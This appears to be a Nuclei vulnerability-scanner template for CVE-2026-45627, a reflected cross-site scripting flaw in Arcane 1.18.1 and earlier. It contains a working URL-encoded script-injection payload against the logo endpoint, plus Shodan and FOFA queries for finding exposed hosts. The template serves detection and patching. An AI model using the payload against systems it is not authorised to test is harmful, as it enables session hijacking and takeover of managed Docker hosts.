Arcane 1.18.1 and earlier contain an unauthenticated reflected cross-site scripting vulnerability in the GET /api/app-images/logo endpoint. The color query parameter is substituted into the style element of the embedded logo SVG with strings.ReplaceAll and no validation, so an attacker can close the style element and inject a script element into an image/svg+xml response served from the Arcane origin without X-Content-Type-Options or a Content-Security-Policy.
id: CVE-2026-45627
info:
name: Arcane <= 1.18.1 - Cross-Site Scripting
author: s4e-io
severity: high
description: |
Arcane 1.18.1 and earlier contain an unauthenticated reflected cross-site scripting vulnerability in the GET /api/app-images/logo endpoint. The color query parameter is substituted into the style element of the embedded logo SVG with strings.ReplaceAll and no validation, so an attacker can close the style element and inject a script element into an image/svg+xml response served from the Arcane origin without X-Content-Type-Options or a Content-Security-Policy.
impact: |
A victim who opens a crafted link runs attacker JavaScript on the Arcane origin. The script rides the HttpOnly session cookie and can call privileged APIs, for example to create an admin account and take over the managed Docker hosts.
remediation: |
Upgrade Arcane to version 1.19.0 or later.
reference:
- https://github.com/getarcaneapp/arcane/security/advisories/GHSA-q2pj-8v84-9mh5
- https://github.com/getarcaneapp/arcane/pull/2513
- https://github.com/getarcaneapp/arcane/commit/a62719a239be273e6cbac73978e8fa135c7c7cbd
- https://nvd.nist.gov/vuln/detail/CVE-2026-45627
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
cvss-score: 8.2
cve-id: CVE-2026-45627
epss-score: 0.00941
epss-percentile: 0.5945
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: getarcaneapp
product: arcane
shodan-query: http.html:"/api/app-images"
fofa-query: body="/api/app-images"
tags: cve,cve2026,arcane,xss,reflected,unauth
http:
- method: GET
path:
- "{{BaseURL}}/api/app-images/logo?color=red%7D%3C%2Fstyle%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%3Cstyle%3Ex%7B"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "image/svg+xml")'
- 'contains_all(body, "<style id=\"style1\" type=\"text/css\">.st0{fill:red}</style><script>alert(document.domain)</script>", "<style>x{}</style>")'
condition: and
# digest: 4b0a0048304602210085126ed4e701563e557eb751839338ae5d3f7409ab56d5d82eb080bc762470f9022100eff21d3695c7af856d45d5f65d27e88989e56b55b320ce13fb3ebcfa2aedf394:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.